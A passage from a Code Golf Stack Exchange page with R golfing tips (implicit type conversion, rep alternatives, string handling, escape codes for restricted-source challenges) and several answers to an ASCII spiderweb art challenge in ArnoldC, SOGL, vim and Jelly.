When needing to do a random task 50% of the time, using `rt(1,1)<0` is shorter than `runif(1)<0.5` by three bytes. 8. **Extracting/Excluding elements** `head` and `tail` are often useful to extract the first/last few elements of an array; `head(x,-1)` extracts all but the last element and is shorter than using negative indexing, if you don't already know the length: ``` head(x,-1) x[-length(x)] x[-sum(x|1)] ``` [Answer] # Implicit type conversion The functions `as.character`, `as.numeric`, and `as.logical` are too byte-heavy. Let's trim them down. ## Conversion to logical from numeric (4 bytes) Suppose `x` is a numeric vector. Using the logical not operator `!` implicitly recasts the numeric to a logical vector, where `0` is `FALSE` and nonzero values are `TRUE`. `!` then inverts that. ``` x=!x ``` `x=0:3;x=!x` returns `TRUE FALSE FALSE FALSE`. ## Conversion to character from numeric or logical (7 bytes) This is a fun one. (From [this tweet](https://twitter.com/johnmyleswhite/status/986335685585133568).) ``` x[0]='' ``` R sees that you're updating the vector `x` with `''`, which is of class `character`. So it casts `x` into class `character` so it's compatible with the new data point. Next, it goes to put `''` in the appropriate place... but the index `0` doesn't exist (this trick also works with `Inf`, `NaN`, `NA`, `NULL`, and so on). As a result, `x` is modified in class only. `x=1:3;x[0]=''` returns `"1" "2" "3"`, and `x=c(TRUE,FALSE);x[0]=''` returns `"TRUE" "FALSE"`. If you have a character object already defined in your workspace, you can use that instead of `''` to save a byte. E.g., `x[0]=y`! ## Conversion to character from numeric or logical under certain conditions (6 bytes) [J.Doe](https://codegolf.stackexchange.com/users/81549/j-doe) pointed out in the comments a six-byte solution: ``` c(x,"") ``` This works if `x` is atomic and if you intend to pass it to a function which requires an atomic vector. (The function may throw a warning about ignoring elements of the argument.) # Conversion to numeric from logical (4 bytes) You can use the funky indexing trick from above (e.g. `x[0]=3`), but there's actually a quicker way: ``` x=+x ``` The positive operator implicitly recasts the vector as a numeric vector, so `TRUE FALSE` becomes `1 0`. [Answer] 1. Abuse `outer` to apply an arbitrary function to all the combinations of two lists. Imagine a matrix with i, j indexed by the first args, then you can define an arbitrary function(i,j) for each pair. 2. Use `Map` as a shortcut for `mapply`. My claim is that `mapply` is cheaper than a for loop in situations where you need to access the index. Abuse the list structure in R. `unlist` is expensive. `methods::el` allows you to cheaply unlist the first element. Try to use functions with list support natively. 3. Use `do.call` to generalize function calls with arbitrary inputs. 4. The accumulate args for `Reduce` is extremely helpful for code golf. 5. Writing to console line by line with `cat(blah, "\n")` is cheaper with `write(blah, 1)`. Hard coded strings with "\n" may be cheaper in some situations. 6. If a function comes with default arguments, you can use function(,,n-arg) to specify the n-th argument directly. Example:`seq(1, 10, , 101)` In some functions, partial argument matching is supported. Example: `seq(1, 10, l = 101)`. 7. If you see a challenge involving string manipulation, just press the back button and read the next question. `strsplit` is single handily responsible for ruining R golf. Now for some newly discovered tips from 2018 8. `A[cbind(i,j)] = z` can be a good way to manipulate matrices. This operation is very byte efficient assuming you design `i, j, z` as vectors with correct lengths. You may save even more by calling the actual index/assign function `"[<-"(cbind(i,j), z)`. This way of calling returns the modified matrix. 9. Use a new line instead of `\n` for line breaks. 10. Squeezing down line counts can save you bytes. In-line assignment `lapply(A<-1:10,function(y) blah)` and function args assignment `function(X, U = X^2, V = X^3)` are ways of doing this. 11. So `"[<-"` is a function in R (and is related to [my ancient question on SO](https://stackoverflow.com/questions/27515050/is-there-a-way-to-call-the-function-in-form))! That is the underlying function responsible for operations such as `x[1:5] = rnorm(5)`. The neat property of calling the function by name allows you to return the modified vector. In order words `"[<-"(x, 1:5, normr(5))` does almost the same thing as the code above except it returns the modified x. The related "length<-", "names<-", "anything<-" all return modified output [Answer] # Change the meaning of operators R operators are just functions that get special treatment by the parser. For example `<` is actually a function of two variables. These two lines of code do the same thing: ``` x < 3 `<`(x, 3) ``` You can reassign another function to an operator, and the parser will still do it's thing, including respecting operator precedence, but the final function call will be the new one rather than the original. For example: ``` `<`=rep ``` now means these two lines of code do the same thing: ``` rep("a", 3) "a"<3 ``` and precedence is respected, resulting in things like ``` "a"<3+2 #[1] "a" "a" "a" "a" "a" ``` See for example [this answer](https://codegolf.stackexchange.com/a/164336/80010), and also [the operator precedence page](https://stat.ethz.ch/R-manual/R-devel/library/base/html/Syntax.html). As a side effect, your code will become as cryptic as one written in a golf language. Some operators like `+` and `-` can accept either one or two parameters, so you can even do things like: ``` `-`=sample set.seed(1) -5 # means sample(5) #[1] 2 5 4 3 1 5-2 # means sample(5, 2) #[1] 5 4 ``` See for example [this answer](https://codegolf.stackexchange.com/a/171490/79980). See also [this answer](https://codegolf.stackexchange.com/a/185021/80010) for using `[` as a two-byte, three-argument operator. [Answer] # Scenarios where you can avoid `paste(...,collapse="")` and `strsplit` These are a pain in the usual string challenges. There are some workarounds. * `Reduce(paste0,letters)` for -5 bytes from `paste0(letters,collapse="")` * A [2-byte golf](https://codegolf.stackexchange.com/questions/70837/say-what-you-see/104416#comment414550_104416) where you have a list containing two vectors `c(1,2,3)` and `c(4,5,6)` and want to concatenate them element-wise to a string `"142536"`. Operator abuse gives you `p=paste0;"^"=Reduce;p^p^r` which saves two bytes on the usual `paste0` call. * Instead of `paste0("(.{",n,"})")` to construct (eg) a regex for 20 bytes, consider a regex in a regex: `sub(0,"(.{0})",n)` for 17 bytes. Sometimes (quite often, actually) you'll need to iterate through a vector of characters or strings, or split a word into letters. There are two common use cases: one where you need to take a vector of characters as input to a function or program, and one where you know the vector in advance and need to store it in your code somewhere. a. Where you need to take a string as **input** and split it into either *words* or *characters*. 1. If you need **words** (including characters as a special case): * If a newline `0x10` (ASCII 16) separating the words is OK, `x=scan(,"")` is preferred to wrapping your code in `function(s,x=el(strsplit(s," ")))`. * If the words can be separated by **any other whitespace**, including multiple spaces, tabs, newlines etc, you can use @ngm's [**double scan trick**](https://codegolf.stackexchange.com/revisions/b356bbc3-90b6-41cd-91c0-7152e47d314b/view-source): `x=scan(,"",t=scan(,""))`. This gives the scanned in string to `scan` as the `text` arg and separates it by whitespace. * The second argument in `scan` can be any string so if you have created one, you can [recycle it](https://codegolf.stackexchange.com/a/173514/81549) to save a byte. 2. If you need to turn an input string into a **vector of characters**: * `x=el(strsplit(s,""))` is the shortest *general* solution. The `split` argument works on anything of length zero including `c()`, `{}` etc so if you happen to have created a zero length variable, you could use it to save a byte. * If you can work with the ASCII character codes, consider `utf8ToInt`, since `utf8ToInt(x)` is shorter than the `strsplit` call. To paste them back together, `intToutf8(utf8ToInt(x))` is shorter than `Reduce(paste0,el(strsplit(x,"")))`. * If you need to split arbitrary strings of numbers like `"31415926535"` as input, you can use `utf8ToInt(s)-48` to save 3 bytes on `el(strsplit(s,""))`, provided you can use the integer digits instead of the characters, as is often the case. This is also shorter than the usual recipe for splitting numbers into decimal digits. b. Where you need a **fixed vector** of either words or characters in advance. * If you need a vector of single characters that have some regular pattern or are in alphabetic order, look at using `intToUtf8` or `chartr` applied to a sequence via `a:b` or on the built in letters sets `letters` or `LETTERS`. The pattern language built into `chartr` is [especially powerful](https://codegolf.stackexchange.com/a/169316/81549). * For **1 to 3 characters or words**, `c("a","b","c")` is the only general shortest solution. * If you need a fixed vector of **between 4 and 10 non whitespace characters or words**, use `scan` with `stdin` as the `file` arg: ``` f(x=scan(,"")) q w e r t y u ``` * If `scan` from `stdin` isn't possible, for **6 or more non whitespace characters or words**, use `scan` with the `text` argument `scan(,"",t="a b c d e f")`. * If you need a vector of (a) **6 or more characters of any type** or (b) **10 or more non-whitespace characters** , `strsplit` via `x=el(strsplit("qwertyuiop",""))` is probably the way to go. * You *may* be able to get away with the [following **quote trick**](https://codegolf.stackexchange.com/a/173161/81549): `quote(Q(W,E,R,T,Y))`, which creates that expression. Some functions like `strrep`, and `grep` will coerce this to a vector of strings! If you do, this is good for any length of word or character vector from 3 to 11. * There's no good reason to use `strsplit` on words via `x=el(strsplit("q w e r t y"," "))`. It always loses to `scan(,"",t="q w e r t y"))` by a fixed overhead of 5 bytes. Here's a table of the byte counts used by each approach to read in a vector of single characters of length `n`. The relative ordering within each row is valid for characters or words, except for `strsplit` on `""` which only works on characters. ``` | n | c(...) | scan | scan | strsplit | quote | | | |+stdin|+text | on "" | hack | | | | | | CHAR ONLY| | |----|--------|------|------|----------|-------| | 1 | 3 | 11 | 15 | 20 | 8 | | 2 | 10 | 13 | 17 | 21 | 11 | | 3 | 14 | 15 | 19 | 22 | 13 | | 4 | 18 | 17 | 21 | 23 | 15 | | 5 | 22 | 19 | 23 | 24 | 17 | | 6 | 26 | 21 | 25 | 25 | 19 | | 7 | 30 | 23 | 27 | 26 | 21 | | 8 | 34 | 25 | 29 | 27 | 23 | | 9 | 38 | 27 | 31 | 28 | 25 | | 10 | 42 | 29 | 33 | 29 | 27 | | 11 | 46 | 31 | 35 | 30 | 29 | | 12 | 50 | 33 | 37 | 31 | 31 | ``` c. If you need to input **text as a character matrix**, a few recipes that seem short are ``` s="hello\nworld\n foo" # 43 bytes, returns "" padded data frame # If lines > 5 are longer than lines <= 5, wraps around and causes error read.csv(t=gsub("(?<=.)(?=.)",",",s,,T),,F) # 54 bytes with readLines(), "" padded matrix sapply(p<-readLines(),substring,p<-1:max(nchar(p)),p)) # plyr not available on TIO # 58 bytes, returns NA padded matrix, all words split by whitespace plyr::rbind.fill.matrix(Map(t,strsplit(scan(,"",t=s),""))) # 61 bytes, returns NA padded matrix plyr::rbind.fill.matrix(Map(t,(a=strsplit)(el(a(s,"\n")),""))) ``` [Answer] Some basic concepts but should be somewhat useful: 1. In control flow statements you can abuse that any number not equal to zero will be evaluated as `TRUE`, e.g.: `if(x)` is equivalent to `if(x!=0)`. Conversely, `if(!x)` is equivalent to `if(x==0)`. 2. When generating sequences using `:` (e.g. `1:5`) one can abuse the fact that the exponentiation operator `^` is the only operator that has precedence over the `:`-operator (as opposed to `+-*/`). ``` 1:2^2 => 1 2 3 4 ``` which saves you two bytes on the parentheses that you would normally have to use in case you wanted to e.g. loop over the elements of an `n x n` matrix (`1:n^2`) or any other integer that can be expressed in a shorter manner using exponential notation (`1:10^6`). 3. A related trick can of course be used on the vectorized operations as well `+-*/`, although most commonly applicaple to `+-`: ``` for(i in 1:(n+1)) can instead be written as for(i in 0:n+1) ``` This works because `+1`is vectorized and adds `1` to each element of `0:n` resulting in the vector `1 2 ... n+1`. Similarly `0:(n+1) == -1:n+1` saves you one byte as well. 4. When writing short functions (that can be expressed on one line), one can abuse variable assignment to save two bytes on the enclosing curly brackets `{...}`: ``` f=function(n,l=length(n))for(i in 1:l)cat(i*l,"\n") f=function(n){l=length(n);for(i in 1:l)cat(i*l,"\n")} ``` Note that this might not always comply to rules of certain challenges. [Answer] # Alternatives to `rep()` Sometimes `rep()` can be avoided with the colon operator `:` and R's vector recycling. * For repeating `n` zeroes, where `n>0`, `0*1:n` is 3 bytes shorter than `rep(0,n)` and `!1:n`, an array of `FALSE`, is 4 bytes shorter, if the use case allows it. * To repeat `x` `n` times, `x+!1:n` is 2 bytes shorter than `rep(x,n)`. For `n` ones, use `!!1:n` if you can use an array of `TRUE`. * To repeat `x` `2n+1` times, where `n>=0`, `x+0*-n:n` is 4 bytes shorter than `rep(x,2*n+1)`. * The statement `!-n:n` will give a `TRUE` flanked on both sides by `n` `FALSE`. This [can be used](https://codegolf.stackexchange.com/questions/167405/alpha-numerical-bowtie#comment414849_167413) to generate *even* numbers of characters in calls to `intToUtf8()` if you remember that a zero is ignored. Modular arithmetic can be useful. `rep` statements with the `each` argument can sometimes be avoided using integer division. * To generate the vector `c(-1,-1,-1,0,0,0,1,1,1)`, `-3:5%/%3` is 5 bytes shorter than `rep(-1:1,e=3)`. * To generate the vector `c(0,1,2,0,1,2,0,1,2)`, `0:8%%3` saves 4 bytes on `rep(0:2,3)`. * Sometimes nonlinear transformations can shorten sequence arithmetic. To map `i in 1:15` to `c(1,1,3,1,1,3,1,1,3,1,1,3,1,1,3)` inside a compound statement, the obvious golfy answer is `1+2*(!i%%3)` for 11 bytes. However, `3/(i%%3+1)` is [10 bytes](https://codegolf.stackexchange.com/questions/58615/1-2-fizz-4-buzz?page=1&tab=votes#comment417712_58637), and will floor to the same sequence, so it can be used if you need the sequence for array indexing. [Answer] When you do need to use a function, use `pryr::f()` instead of `function()`. Example: ``` function(x,y){x+y} ``` is equivalent to ``` pryr::f(x,y,x+y) ``` or, even better, ``` pryr::f(x+y) ``` Since If there is only one argument, [the formals are guessed from the code](https://cran.r-project.org/web/packages/pryr/pryr.pdf). [Answer] # Surviving challenges involving strings As mentioned in another answer, `unlist(strsplit(x,split="")` and `paste(...,collapse="")` can be depressing. But don't just walk away from these, there are workarounds! * `utf8ToInt` converts a string to a vector, `intToUtf8` does the reverse operation. You're getting a vector of `int`, not a vector of `char` but sometimes this is what you're looking for. For instance to generate a list of `-`, better use`intToUtf8(rep(45,34))` than `paste(rep("-",34),collapse="")` * `gsub` is more useful than other function of the `grep` family when operating on a single string. The two approaches above can be combined as in [this answer](https://codegolf.stackexchange.com/a/164368/80010) which benefited from the advice of [ovs](https://codegolf.stackexchange.com/users/64121/ovs), [Giuseppe](https://codegolf.stackexchange.com/users/67312/giuseppe) and [ngm](https://codegolf.stackexchange.com/users/79980/ngm). * Choose a convenient I/O format as in [this answer](https://codegolf.stackexchange.com/a/157613/80010) taking input as lines of text (without quotes) or [this one](https://codegolf.stackexchange.com/a/164106/80010) taking a vector of chars. Check with the OP when in doubt. * As pointed out in the comments, `<` compares strings lexicographically as one would expect. [Answer] # R 4.1.0: new shorthand function syntax I just found out the very new release R 4.1.0 comes with some new syntax. <https://www.r-bloggers.com/2021/05/new-features-in-r-4-1-0/> The new shorthand syntax `\(arglist) expr` performs exactly as `function(arglist) expr` and makes writing R functions 7 bytes shorter: ``` \(x,y)x+y ``` instead of ``` function(x,y)x+y ``` There's also the new native pipe `|>`, but this isn't shorter than just using parentheses (and the pipe has to be used with parentheses, unlike magrittr.) [Answer] Some ways to find the first non-zero element of an array. If it has a name `x`: ``` x[!!x][1] ``` Returns `NA` if no non-zero elements (including when `x` is empty, but not `NULL` which errors.) Anonymously: ``` Find(c, c(0,0,0,1:3)) ``` Returns `NULL` if no non-zero elements, or empty or `NULL`. [Answer] # Tips for restricted source challenges : 1. Characters in R literals constants can be replaced by hex codes, octal codes and unicodes. e.g. the string `"abcd"` can be written : ``` # in octal codes "\141\142\143\144" # in hex codes "\x61\x62\x63\x64" # in unicodes "\u61\u62\u63\u64" # or "\U61\U62\U63\U64" ``` We can also mix characters with octal/hex/unicode and use some oct codes and some hex codes together, as long as unicode characters are not mixed with octal/hex e.g. : ``` # Valid "a\142\x63\x64" # Valid "ab\u63\U64" # Error: mixing Unicode and octal/hex escapes in a string is not allowed "\141\142\x63\u64" ``` See [the end of this section](https://cran.r-project.org/doc/manuals/r-devel/R-lang.html#Literal-constants) for further details. 2. Since functions can be written using string literals, e.g. `cat()` can be written alternatively : ``` 'cat'() "cat"() `cat`() ``` we can use octal codes, hex codes and unicode for function names as well : ``` # all equal to cat() "\143\141\164"() `\x63\x61\x74`() '\u63\u61\u74'() "ca\u74"() ``` with the only exception that unicode sequences are not supported inside backticks `` 3. Round brackets can be avoided abusing operators e.g. : ``` cat('hello') # can be written as `+`=cat;+'hello' ``` An application of all the three tricks can be found [in this answer](https://codegolf.stackexchange.com/questions/165518/code-generator-with-unique-characters/165548#165548) [Answer] # Searching datasets R's builtin datasets can be a trove, in particular for [restricted-source](/questions/tagged/restricted-source "show questions tagged 'restricted-source'") challenges, but searching through them is not easy. For instance, for [this answer](https://codegolf.stackexchange.com/a/219617/86301), creating the value `100` thanks to a dataset was useful. It could be that the value was there as is, or as the sum of a column, or as the size of the dataset. Here is the code I used; credit goes to Giuseppe [in the chat](https://chat.stackexchange.com/transcript/message/56532686#56532686): ``` x = data(package = "datasets") res = x$results for(dataset_name in paste0(res[,1],"::",res[,3])){ curr = try(eval(parse(t=dataset_name)), T) if(length(curr) == 100) print(c("Length found in", dataset_name)) if(100 %in% unlist(curr)) print(c("Value found in", dataset_name)) try(if(try(sum(curr),T) == 100) print("Sum found in", dataset_name), T) } ``` This searches all the datasets which are included by default; you can search datasets in other packages by changing the first line to `x <- data(package = .packages(all.available = TRUE))`. You will need to make lavish use of `try` to avoid issues with different types of data. Remember that some datasets are vectors and not matrices or data frames. Other functions to try instead of `sum` include `min`, `max`, `mean`, `prod`, `sd` and `var`. [Answer] ## `all` and `any` on lists [Apparently](https://codegolf.stackexchange.com/a/241207/55372), `all` and `any` both accept lists of depth 1 and work just as well as on vectors (with a warning). So, if you used `all(sapply(list,function))` in your code, in most places you may replace it with `all(Map(function,list))` for -3 bytes. *I didn't know that before the [answer](https://codegolf.stackexchange.com/a/241207/55372) (linked above) by [@Dominic van Essen](https://codegolf.stackexchange.com/users/95126/dominic-van-essen).* [Answer] ## Know your `apply` functions 1. As [already mentioned](https://codegolf.stackexchange.com/a/91294/55372), use `Map` instead of `mapply` (and possibly `lapply`, depending on whether you want vectorisation also on further arguments to the function). 2. Use `sapply` when you want the result simplified when possible. 3. Use `apply` on matrices to apply a function rowwise or columnwise. But remember of functions like `colSums` and `colMeans`. 4. Use `tapply(x,y,f)` instead of `sapply(split(x,y),f)` or `Map(f,split(x,y))` - but you may want to use `simplify=FALSE` in the second case sometimes. Remember that sometimes the function you're using can apply another function to the results (through the `FUN` argument), e.g. `combn`. [Answer] # Numeric Tricks Ignoring precision error: * `x%/%1` instead of `floor(x)` (integer part for positive x) * `x%%1` instead of `x-floor(x)` (fractional part for positive x) * `!x%%1`, `x%%1` to check if integer or not * `x^.5` instead of `sqrt(x)` * `gamma(x+1)` instead of `factorial(x)` Constants: \$\pi\$ `pi`, \$e\$ `exp(1)`, \$1/e\$ `exp(-1)` (if you need these for some reason) \$1 / \sqrt{2\pi}\$ `dnorm(0)`, \$\gamma\$ `-digamma(1)` ]
[Question] [ The challenge: output this exact ASCII art of a spiderweb in a window: ``` _______________________________ |\_____________________________/| || \ | / || || \ /|\ / || || /\'.__.' : '.__.'/\ || || __.' \ | / '.__ || ||'. /\'---':'---'/\ .'|| ||\ '. /' \__ _|_ __/ '\ .' /|| || | /. /\ ' : ' /\ .\ | || || | | './ \ _|_ / \.' | | || ||/ '/. /'. // : \\ .'\ .\' \|| ||__/___/___/_\(+)/_\___\___\__|| || \ \ \ /(O)\ / / / || ||\ .\' \.' \\_:_// './ '/. /|| || | | .'\ / | \ /'. | | || || | \' \/_._:_._\/ '/ | || ||/ .' \ / | \ / '. \|| ||.'_ '\/.---.:.---.\/' _'.|| || '. / __ | __ \ .' || || \/.' '. : .' '.\/ || || / \|/ \ || ||____/_________|_________\____|| |/_____________________________\| ``` [Source: Joan Stark](http://www.chris.com/ascii/joan/www.geocities.com/SoHo/7373/insects.html) (slightly modified spider and frame, and remove the initials for the sake of the challenge). Required characters: `_|\/'.:-(+)O` (12) + space & new-line (2) ### Challenge rules: * One or multiple trailing spaces and/or new-lines are allowed. ### General rules: * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest answer in bytes wins. Don't let code-golf languages discourage you from posting answers with non-codegolfing languages. Try to come up with an as short as possible answer for 'any' programming language. * [Standard rules apply](https://codegolf.meta.stackexchange.com/questions/2419/default-for-code-golf-program-function-or-snippet/2422#2422) for your answer, so you are allowed to use STDIN/STDOUT, functions/method with the proper parameters, full programs. Your call. * [Default Loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) are forbidden. * If possible, please add a link with a test for your code. * Also, please add an explanation if necessary. [Answer] # Arnold C, ~~1257 1261 1256~~ 1233 bytes ``` IT'S SHOWTIME TALK TO THE HAND" _______________________________" TALK TO THE HAND"|\_____________________________/|" TALK TO THE HAND"|| \ | / ||" TALK TO THE HAND"|| \ /|\ / ||" TALK TO THE HAND"|| /\'.__.' : '.__.'/\ ||" TALK TO THE HAND"|| __.' \ | / '.__ ||" TALK TO THE HAND"||'. /\'---':'---'/\ .'||" TALK TO THE HAND"||\ '. /' \__ _|_ __/ '\ .' /||" TALK TO THE HAND"|| | /. /\ ' : ' /\ .\ | ||" TALK TO THE HAND"|| | | './ \ _|_ / \.' | | ||" TALK TO THE HAND"||/ '/. /'. // : \\ .'\ .\' \||" TALK TO THE HAND"||__/___/___/_\(+)/_\___\___\__||" TALK TO THE HAND"|| \ \ \ /(O)\ / / / ||" TALK TO THE HAND"||\ .\' \.' \\_:_// './ '/. /||" TALK TO THE HAND"|| | | .'\ / | \ /'. | | ||" TALK TO THE HAND"|| | \' \/_._:_._\/ '/ | ||" TALK TO THE HAND"||/ .' \ / | \ / '. \||" TALK TO THE HAND"||.'_ '\/.---.:.---.\/' _'.||" TALK TO THE HAND"|| '. / __ | __ \ .' ||" TALK TO THE HAND"|| \/.' '. : .' '.\/ ||" TALK TO THE HAND"|| / \|/ \ ||" TALK TO THE HAND"||____/_________|_________\____||" TALK TO THE HAND"|/_____________________________\|" YOU HAVE BEEN TERMINATED ``` This is my first try programming in the supreme language, so I'll eat my downvotes as I offer no intelligent solution to this problem although programming in the language descended from the heavens. [Here's a compiler](http://mapmeld.com/ArnoldC/) if anyone by any chance questions this algorithm. Stick around. [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGL), 141 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` ↑υΒΦøAo┼Λ■MšH⅛ K∞ΠΘK2╬{t÷ωÆ↓p║9<¤ΓuΞ∫⅛Χxc<Π³‼čΝ═ūψ°ņR⁷|└η▒°Mψ{√ΥΜ┌>½Ψ¹iš℮ē@‰‚ηΨ▓+⁰ρ→ƨ┘ο\β¶⁹ξA6‘'²nΓ:A⌡≥¹↕Ζ,'ŗa;+"⁴ø'½ø' Æ ⁄Æ ø'⁄ø'Æ∑O’3n{_ζž ``` Explanation: ``` ...‘ push a quarter of the drawing '²n split into an array of items of length 17 Γ palendromize horizontally, with overlap of 1 :A save a copy of that on `A` ⌡≥¹ reverse items in the array (for each item put it at the stacks bottom, then wrap in array) ↕ vertically mirror chars (it tries its best but still has bugs) Ζ,'ŗ replace ","s with "'"s (one of the bugs) a push the variable A ;+ reverse add "..’ push a list of codepage characters 3n{ for each group of 3 do _ put all the arrays contents on the stack ζ convert the last from number to its codepage character ž replace [at X 1st number, Y 2nd number, with the 3rd number converted to character] ``` [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=JXUyMTkxJXUwM0M1JXUwMzkyJXUwM0E2JUY4QW8ldTI1M0MldTAzOUIldTI1QTBNJXUwMTYxSCV1MjE1QiUyMEsldTIyMUUldTAzQTAldTAzOThLMiV1MjU2QyU3QnQlRjcldTAzQzklQzYldTIxOTNwJXUyNTUxOSUzQyVBNCV1MDM5M3UldTAzOUUldTIyMkIldTIxNUIldTAzQTd4YyUzQyV1MDNBMCVCMyV1MjAzQyV1MDEwRCV1MDM5RCV1MjU1MCV1MDE2QiV1MDNDOCVCMCV1MDE0NlIldTIwNzclN0MldTI1MTQldTAzQjcldTI1OTIlQjBNJXUwM0M4JTdCJXUyMjFBJXUwM0E1JXUwMzlDJXUyNTBDJTNFJUJEJXUwM0E4JUI5aSV1MDE2MSV1MjEyRSV1MDExM0AldTIwMzAldTIwMUEldTAzQjcldTAzQTgldTI1OTMrJXUyMDcwJXUwM0MxJXUyMTkyJXUwMUE4JXUyNTE4JXUwM0JGJTVDJXUwM0IyJUI2JXUyMDc5JXUwM0JFQTYldTIwMTglMjclQjJuJXUwMzkzJTNBQSV1MjMyMSV1MjI2NSVCOSV1MjE5NSV1MDM5NiUyQyUyNyV1MDE1N2ElM0IrJTIyJXUyMDc0JUY4JTI3JUJEJUY4JTI3JTA5JUM2JTIwJXUyMDQ0JUM2JTIwJTA5JUY4JTI3JXUyMDQ0JUY4JTI3JUM2JXUyMjExTyV1MjAxOTNuJTdCXyV1MDNCNiV1MDE3RQ__) (the program contains tabs so here is a better program representation) [Answer] # vim, 373 371 bytes ``` A ________________ |\_______________ || \ | || \ /| || /\'.__.' : || __.' \ | ||'. /\'---': ||\ '. /' \__ _| || | /. /\ ' : || | | './ \ _| ||/ '/. /'. // : ||__/___/___/_\(+<ESC>:2,12y Gp :13,$g/^/m12 :17 8lr jr.ggqayyp!!rev !!tr '\\/(' '/\\)' kgJxjq23@a :13,$!tr "\\\\/.'+" "/\\\\'.O" qa/_ r ka <ESC>k:s/ $/_/e gJjhq33@aGk:s/ /_/g gg$x ``` `<ESC>` is a standin for 0x1B. ## Ungolfed ``` " First quadrant A ________________ |\_______________ || \ | || \ /| || /\'.__.' : || __.' \ | ||'. /\'---': ||\ '. /' \__ _| || | /. /\ ' : || | | './ \ _| ||/ '/. /'. // : ||__/___/___/_\(+<ESC> " Copy to lower half, reverse lines, substitute characters :2,12y Gp :,$g/^/m12 " Non-symmetric part :17 8lr jr. " copy left side to right and reverse ggqayyp!!rev !!tr '\\/(' '/\\)' kgJxjq 23@a " swap characters on the bottom half :13,$!tr "\\\\/.'+" "/\\\\'.O" " shift underscores up one line wherever an empty space is available qa/_ r ka <ESC>k:s/ $/_/e gJjhq 33@a " misc Gk:s/ /_/g gg$x ``` [Try it online!](https://tio.run/##ZY3BaoNAEIbv8xSjCJuSuIN6aJBS2lMgl77A0EGKbNEG4qZIBN/d7mxjDu0PCzMf3/4zLssryp/AzP/IjCGMa@YbuSO6E2JjRazBWkmcVksdY1crz3OjDmNgpJYISuwJTWSjhbeeQObgkXZFh9CoQvqXoiNCsj7ebJ/ay8dzXe6KcoLDGaAuql3m6J1ORanbI@y/PHbeOjc003ROEt@OkCTfHg0zbUw4wPxgoHfHazeU1Uvz26FGyiFkzTbFlHQ29i2FoSEBj30D8XhfXwgzEmrBHbvPoQoVhwgDc@Bcdl2WJR9/AA "V – Try It Online") And to clarify the explanation you were given as a child: While it's true that the only emotion spiders feel personally is hatred, they *are* capable of *sensing* fear at a distance of over 50 meters. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~206~~ 205 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` “¢ṙgḤi¹z,:ṃ,açØẹȷE€İ%ĿœHFḢ®QṀẠṠṄ⁻Ṃç|ɠḌɱỌ⁴¦EṇÐ0tḊhƇtƬ©2:⁶ṂƊḄÞḌḶh_ịÑḶụ ɼh ⁵¶Ẏ=ɗuȯuṙæg⁹-©ɲdʠẹḶrU[ȦƁƊ@ȮLQ+İøA¶ȷØḤ©<ṿŀUrçȦ£ḞRzµ¢°ỊnçṄI¤`Ẉ⁾ẠaIkXṫ_Ẹ²ʋfƬ@²*#`cẓʋ⁷\"s’b9+“ṖṘṇọ‘¦3ị“ |\/'.:-(+O_”s17µŒBy@€“(\/“)/\”a⁸Y ``` A niladic link returning a list of characters, or a full program printing the art. **[Try it online!](https://tio.run/##DZBbS0JREIX/ihTRRcsuD5EUWFAUBFEQFAlmN62khy4PRQ9nV1CoRSWUQYmYHZGkTFL3PicKZuvhHP/F7D9iA8MwzFoP31o7m9HocaultGfIongKI89tgzjx@FCce0IyL1NoCLs2qc6K9VJH/a@RnJ5CnoWPeRQaGhkUNBeKmSjOZP7UySBPOF9oJhT7Bn0SxaW87T9EHotYl4dWEQqDPsWqZLZiyC9kmuzIq5EgmnF5Rxeaby7nJ@JSrAJVNG7GnMcj@/OI0KQeVkz0QsEpbzQzREXu/cUVW7eYFfPbH7Pz7npJ8nGo2jWi5jkojKL4a2iL@zJv6/CKPL1wAhXIQgnN2J7ME/gM5FbRuFLsl7KEZnaXULwH0eBQbsa3rKIfyj3tq@toJJtxxWqBtgOlPa2NuKkuFA8oUpQPzWulpUAfogj0d50GvJ19vt4u91xQaS8HA8NQadxPHPupQZK7Al7a3d4AaSHF@HKr9Q8 "Jelly – Try It Online")** *Could the rough-vertical symmetry be utilised?* ### How? The first 158 bytes are a very large number written in bijective base 250 using the first 250 bytes of Jelly's code-page: ``` “¢ṙgḤi¹z,:ṃ,açØẹȷE€İ%ĿœHFḢ®QṀẠṠṄ⁻Ṃç|ɠḌɱỌ⁴¦EṇÐ0tḊhƇtƬ©2:⁶ṂƊḄÞḌḶh_ịÑḶụ ɼh ⁵¶Ẏ=ɗuȯuṙæg⁹-©ɲdʠẹḶrU[ȦƁƊ@ȮLQ+İøA¶ȷØḤ©<ṿŀUrçȦ£ḞRzµ¢°ỊnçṄI¤`Ẉ⁾ẠaIkXṫ_Ẹ²ʋfƬ@²*#`cẓʋ⁷\"s’ ``` This number (of the order of 10372 is converted to a list of its digits in base-9 (391 numbers between 0 and 8) and then three is added to the 203rd, 204th, 220th, and 221st digits (which will be the spiders body): ``` “ ... ’b9+“ṖṘṇọ‘¦3 “ ... ’ - that huge number b9 - converted to a list of digits of it's base-9 representation ¦ - sparse application at indexes: “ṖṘṇọ‘ - ... code-page indexes = [203,204,220,221] + 3 - add three ``` The result is then converted to the 12 characters of the left-hand side (up to and including the middle column) of the art: ``` ... ị“ |\/'.:-(+O_”s17 ... - the previous code “ |\/'.:-(+O_” - the characters used in the left-hand side = " |\/'.:-(+O_" ị - index into - ... note: adding three to the 6s, 7 and 8 makes the spider's body - from what would otherwise have been a collection of - the characters ".:-". Also note 0s become '_'s. s17 - split into chunks of length 17 (separate the rows) ``` The full rows are then constructed by bouncing each left-hand side row (that is reflecting it as if its last character were a mirror), changing *all* the `(` to `)`, the `\` to `/` and the `/` to `\`, and then *only* using the new values on the right-hand side by using a vectorised `and` with the left-side from before. The result is finally joined up with newlines to create the art: ``` ... µŒBy@€“(\/“)/\”a⁸Y ... - the previous code µ - monadic chain separation - call the result L ŒB - bounce each row of L “(\/“)/\” - list of lists of characters: [['(','\','/'],[')','/','\']] y@€ - for €ach (row) translate (with swapped @rguments) - ... replaces '(' with ')', '\' with '/' and '/' with '\' ⁸ - chain's left argument, L a - logical and (vectorises) with L - ... use characters from L if we have them, else the new ones. Y - join with newlines - if running as a full 